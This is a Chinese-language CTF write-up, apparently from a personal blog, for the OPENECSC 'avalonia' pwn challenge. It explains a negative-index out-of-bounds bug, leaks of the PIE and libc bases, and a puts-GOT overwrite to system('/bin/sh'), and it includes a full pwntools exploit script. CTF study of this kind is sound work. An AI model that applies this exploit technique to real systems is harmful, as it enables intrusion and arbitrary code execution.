2025-10-02-OPENECSC-avalonia

题目简介

ctftime上的OPENECSC比赛题,链接:OPENECSC:avalonia

这道题感觉漏洞点比较隐蔽,泄露地址的思路感觉也比较偏门,还融合了覆写GOT表和one gadget手法,都是目前不熟悉的

漏洞点分析

checksec,看到保护基本全开,除了GOT表是Partial:


IDA反编译,先看main函数,如图:


先看函数表,没有malloc和free,首先排除堆题可能

菜单程序,逐步分析每个功能,先看添加部分:


只有一个输入的地方,允许输入156字节,但够不到返回地址,没有栈溢出,然后跟进add_note:


发现首先把我们的输入拷贝到一个bss段上的指针notePtr_+4的位置,然后前4个字节写入当前时间戳,最后把指针存到bss段上的一个指针数组noteptrs处

传入的参数最多只有156字节,notePtr_预留的有156+4刚好160字节,没有溢出,同时在notePtr_的末尾手动添加0x00,因此这里也没有明显可以溢出的地方

再看edit功能:


首先让我们输入要修改的note下标,然后同样是fgets限制在156字节,然后进入edit_note:


表面上看貌似没有可以溢出的地方,但是看到有用下标索引的动作,而且有一个自定义的读取下标函数,考虑是否存在下标越界错误?

跟进get_index:


看到首先从scanf读取4个字节的整数,即一个int,然后会调用check_index检查下标是否合法,跟进check_index:


看上去也没什么问题,保证不会超过10个note,而notes预留的大小正好是1600字节

于是先往下看view功能,输出功能一般来说是不可能存在溢出点的,因此主要寻找泄露地址的机会:


看到view会首先用get_index读取要显示的note的下标,然后把时间戳转换成time结构体输出,接着从+4处取note内容输出

get_index不会超过10,没有越界,因此看上去也没有泄露地址的机会

最后看delete功能:


和edit以及view一样,从get_index读取要删除的坐标,然后把noteptrs对应位置置空

分析下来发现好像根本没有漏洞点,但其实我的分析遗漏了一个地方:下标不能超过9,但是下标可以为负数吗?如果可以,那就能在低于noteptrs的空间实现任意地址读写

而再次回头来检查get_index和check_index函数,发现只存在对下标是否不超过9的校验,而没有对是否大于0的校验

至此,漏洞点明确了,即在edit和view功能中,由于下标可以为负数,导致存在noteptrs以下地址空间的任意读和写

漏洞点利用

拿到任意地址读写以后,结合checksec的结果,可以想到改掉某个函数的GOT表;注意view函数的如下部分:


由于notePtr_+4的内容是我们可控的,因此想到可以覆盖puts的GOT表

接下来是泄露地址的问题,首先需要泄露libc地址,因此要先在某个libc函数的GOT表处完成任意读,即让notePtr_等于某个函数的GOT段地址

但是开启了PIE保护,我们只知道got段的偏移,于是要先泄露程序装载基地址

但是哪个地址存储了一个和程序区段有关的地址呢?这里只能通过gdb调试去猜测,大概范围是noteptrs往上1600字节之前(即notes之前,因为notes预留了1600字节,而且肯定不在bss段——初始化全0)

最后在noteptrs上方210*8个字节处找到一个和程序段固定偏移的地址,如下图:


之后只要调用view功能越界读这块内存即可,代码如下:

1
2
#noteptrs-210*8的位置有一个程序内部固定偏移(0x4050)的地址,gdb调试获得
elfBase=LeakAddr(-210)-0x4050

之后是泄露libc地址,具体思路是首先把puts函数GOT表的地址放在noteptrs上方的某个可控地址空间,其实可以放到notes附近,这部分对应的代码如下:

1
2
Add(b'1'*4+p64(elfBase+elf.got["puts"]))
libcBase=LeakAddr(-199)-libc.symbols["puts"]

拿到libc地址之后,首先布置好一个”/bin/sh”字符串的参数,之后将puts函数GOT表-4的值同样布置到notes附近,最后调用Edit完成覆盖,如下:

1
2
3
4
Add("/bin/sh")  #1号位置填好参数/bin/sh
#覆盖puts的GOT表
Add(b'A'*4+p64(elfBase+elf.got["puts"]-4))
Edit(-159,p64(libcBase+libc.symbols["system"]))

最后调用一次View,输出1号下标的/bin/sh,实际就会执行system(“/bin/sh”)

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from datetime import datetime, timezone
context(os="linux",arch="amd64",log_level="debug")
targetELF="./app"
libcPath="/home/k40/Pwn/Exercise/OPENECSC-avalonia/libc.so.6"
context.terminal=["tmux","splitw","-h"]
LOCAL=1
REMOTE=2
DEBUG=3
mode=REMOTE

elf=ELF(targetELF)
libc=ELF(libcPath)

def Lauch():
if mode==LOCAL:
io=process(targetELF)
return io
elif mode==REMOTE:
io=remote("89383b86-6177-4e66-8113-0770b7acd413.openec.sc",31337,ssl=True)
return io
elif mode==DEBUG:
io=gdb.debug(targetELF,"b *do_view_note+376")
return io

ioTube=Lauch()

def Add(content_):
ioTube.recvuntil("Choice > ")
ioTube.sendline("0")
ioTube.recvuntil("Enter note content > ")
ioTube.sendline(content_)

def Edit(idx,content_):
ioTube.recvuntil("Choice > ")
ioTube.sendline("2")
ioTube.recvuntil("Enter index of note to edit > ")
ioTube.sendline(str(idx))
ioTube.recvuntil("Enter note content: ")
ioTube.sendline(content_)

def Delete(idx):
ioTube.recvuntil("Choice > ")
ioTube.sendline("3")
ioTube.sendline(str(idx))

def View(idx):
ioTube.recvuntil("Choice > ")
ioTube.sendline("1")
ioTube.recvuntil("Enter index of note to view > ")
ioTube.sendline(str(idx))
ioTube.recvuntil("Modified on ")
times_=ioTube.recvline(keepends=False)
ioTube.recvuntil("Content: \"")
content_=ioTube.recvline(keepends=False)
return content_,times_

def LeakAddr(idx):
content_,times_=View(idx)
epoch32 = int(datetime.strptime(times_.decode(), "%d/%m/%Y %I:%M:%S %p").replace(tzinfo=timezone.utc).timestamp()) & 0xffffffff #取前4个字节
note_val = int.from_bytes(content_, "little") #后4个字节
return (note_val << 32) | epoch32 #拼接=一个8字节地址

#noteptrs-210*8的位置有一个程序内部固定偏移(0x4050)的地址,gdb调试获得?
elfBase=LeakAddr(-210)-0x4050

Add(b'1'*4+p64(elfBase+elf.got["puts"]))
libcBase=LeakAddr(-199)-libc.symbols["puts"]

Add("/bin/sh") #1号位置填好参数/bin/sh
#覆盖puts的GOT表
Add(b'A'*4+p64(elfBase+elf.got["puts"]-4))
Edit(-159,p64(libcBase+libc.symbols["system"]))

ioTube.recvuntil("Choice > ")
ioTube.sendline("1")
ioTube.recvuntil("Enter index of note to view > ")
ioTube.sendline("1")
ioTube.interactive()

2025-10-02-OPENECSC-avalonia
http://0x4a-210.github.io/2025/10/07/pwn刷题记录/其他技巧类/覆写GOT表/2025-10-02-OPENECSC-avalonia/
Posted on
October 7, 2025
Licensed under